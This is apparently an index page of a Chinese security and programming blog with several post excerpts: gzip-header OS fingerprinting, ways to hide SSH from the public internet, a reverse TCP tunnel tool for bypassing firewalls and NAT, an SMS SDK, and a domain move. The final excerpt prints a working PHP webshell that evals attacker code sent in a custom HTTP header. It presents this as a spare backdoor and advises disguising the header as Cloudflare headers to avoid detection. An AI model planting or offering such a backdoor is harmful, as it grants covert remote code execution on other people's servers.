Ap Blog

Cold code, warm soul.

@Aploium2年前

06/10
11:51
安全

利用gzip文件头中的OS位来判断服务器操作系统

gzip文件格式中有一个有趣的记录了当前操作系统的OS位:

offset:9 length:1 byte OS type
2 bytes optional part number (second part=1)

(完整参考: http://www.onicos.com/staff/iz/formats/gzip.html)

而gzip被广泛地应用于http中,  服务器响应的gzip原始内容中包含这个OS位, 所以可以根据它来判断web服务器的操作系统

例如 windows: (来源页面: https://login.live.com/)

gzip头中的OS 位是0x00, 表示服务器的系统是windows

非零的extra_flags 不知道是表示什么意思

 

以及linux (ubuntu 16.04 apache 2.4.18)

gzip头中的OS 位是0x03, 表示服务器的系统是unix(linux)

 

但是也存在不准确的情况下, 例如 apache(XAMPP) on windows, 尽管是windows, OS位也会被设置成0x03(UNIX)

 

这种方式的实际可用性还有待验证, 但是个人感觉还是挺不错的.

在web指纹识别的时候可以作为备用手段判断目标服务器的操作系统

 

同时, 除了OS位以外, 其他位可能也会包含有用的信息

例如七牛CDN (栗子文件链接 https://o5o245x8j.qnssl.com/ctt/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shCore.css  本站的一个静态文件)

它的OS位是0xFF (UNKNOWN), 但是modification_time是一个非常迷的值(2042/7/14 9:4:0)

o(╯□╰)o

 

此文章还有待更新细节

 

利用gzip文件头中的OS位来判断服务器操作系统

@Aploium2年前

02/13
14:56
安全

几个避免SSH监听公网的思路

通常情况下, SSH监听外网, 改SSH端口能避免一些扫描器, 但是对于刻意的扫描还是能被找到的.
不让SSH对外listen, 能降低攻击面, 但是需要不影响正常的SSH访问

几个思路:
0. 如果条件允许, 能仅对特定网段监听当然是最方便的
1. 使用SSH -R来获得反向SSH隧道, 但是实现要求和条件都很麻烦
2. 平时关闭SSH服务, 用另一个守护服务接受请求(最好是UDP)来按需调起SSH服务… //好蛋疼啊:(
3. 使用类似shootback或ngrok的反向TCP隧道把只对本地监听的SSH转发到别的服务器上, 用户再从那台服务器访问

主要说一下3 (因为前几天才重写了一遍shootback XD)

Read More →

几个避免SSH监听公网的思路

@Aploium3年前

04/29
12:12
编程 网络

shootback:穿透内网与防火墙的反向TCP隧道

A fast and reliable reverse TCP tunnel, designed to be multi-clients and hold high concurrency (support Gzip and AES in transmission)
Github: https://github.com/Aploium/PyReverseTcpTunnel

It also can be used as reverse socks/http/ftp/smtp… proxy, anything as long as is use TCP! Help you to bypass firewall or NAT to access the LAN.
高性能,高稳定性的Python反向TCP隧道代理, 穿透内网,用于内网NAT或防火墙后的内网机器与外网建立TCP隧道. 也可用作Socks/http/ftp…代理
写它之前也尝试过用nc实现,但是nc太简陋了。
我需要用它来带一整个网站的并发和请求. 用来把一个内网站点镜像到外网

特性: (感谢@jinzihao指出)
1.支持多个client, 多个TCP链接(多个Socket) 相互独立不影响
2.支持比较高的并发, 在高负荷的时候比nc资源占用和性能都要好得多
3.自动的连接维护, 快速根据负荷调整链接池容量
4.lazy连接target
5.方便部署和维护
6.简单的握手认证
6.Gzip什么的

Brief explain about how the reverse tcp proxy works

In some situations, Machine Slaver can connect to Machine Master, but Master cannot connect to Slaver directly, by reusing the slaver’s connection, programs in the master machine can connect to the slaver’s machine directly(in those programs’ sight)

In default config,
Master will listen 127.0.0.1:1088 and 0.0.0.0:2082
Slaver will connect master_ip:20822 and target_ip:80 (in default cfg, they are all 127.0.0.1)
Read More →

shootback:穿透内网与防火墙的反向TCP隧道

@Aploium3年前

04/26
10:17
编程

支持Python3的阿里大鱼短信SDK

阿里大鱼是难得的对个人开发者开放,而且没什么门槛的短信服务,质量也相当好。

只是官方Python API不支持Python 3.x 于是自己写了一个支持Python3的阿里大鱼短信API
依赖requests库

阿里大鱼及其API官网:

http://www.alidayu.com/service
https://doc.alidayu.com/doc2/detail?treeId=136&articleId=104523&docType=1
https://api.alidayu.com/doc2/apiDetail?apiId=25450

直接运行它本身就是一个demo.

以下代码可能不是最新版本,请访问 它的github 来查看最新版本

Read More →

支持Python3的阿里大鱼短信SDK

@Aploium3年前

04/18
12:59
其他

启用全新的单字母域名 z.codes

aploium.com现在已经弃用(所有访问在修复一些bug后都会被重定向到 z.codes)

虽然用单字母域名来当个人blog好像太奢侈了……

折腾了挺久才把原来的域名全部迁移过去, 顺带重构了一堆早期的代码

邮件服务器重新搭建,与Web服务器独立,完善的SPF和DKIM,SMTPS/IMAPS支持(使用了iRedmail)

全站https支持不久后也会上线 现在全站启用强制https了

嘿嘿嘿嘿

启用全新的单字母域名 z.codes

@Aploium3年前

12/29
17:29
网络

在自定义HTTP header中发送的PHP一句话

最常规的一句话是通过POST发送的,已经被狗狗咬得差不多了。后来也有了UA一句话和Referer一句话,但是随着它们开始被广泛应用,估计也活不长…..orz

昨天突然想到可以用自定义header来发送一句话

服务端php代码:

<?php
/*在php里写的header必须是大写*/
eval($_SERVER["HTTP_GREPLAOWEISUO"]);
?>

攻击者发送带有自定义header的请求:
php_demo

结果:

php-backdoor-result

当然不能用在菜刀上,不过可以当成是备用后门用

进一步.为了保险,可以把自定义header改成某些cdn常见的header,比如说

CF-Connecting-IP
CF-RAY
CF-Visitor

这种coludflare的转发头
请求方式也可以是POST/DELETE/TRACE什么的

/*Grep是我某只小基友*/

在自定义HTTP header中发送的PHP一句话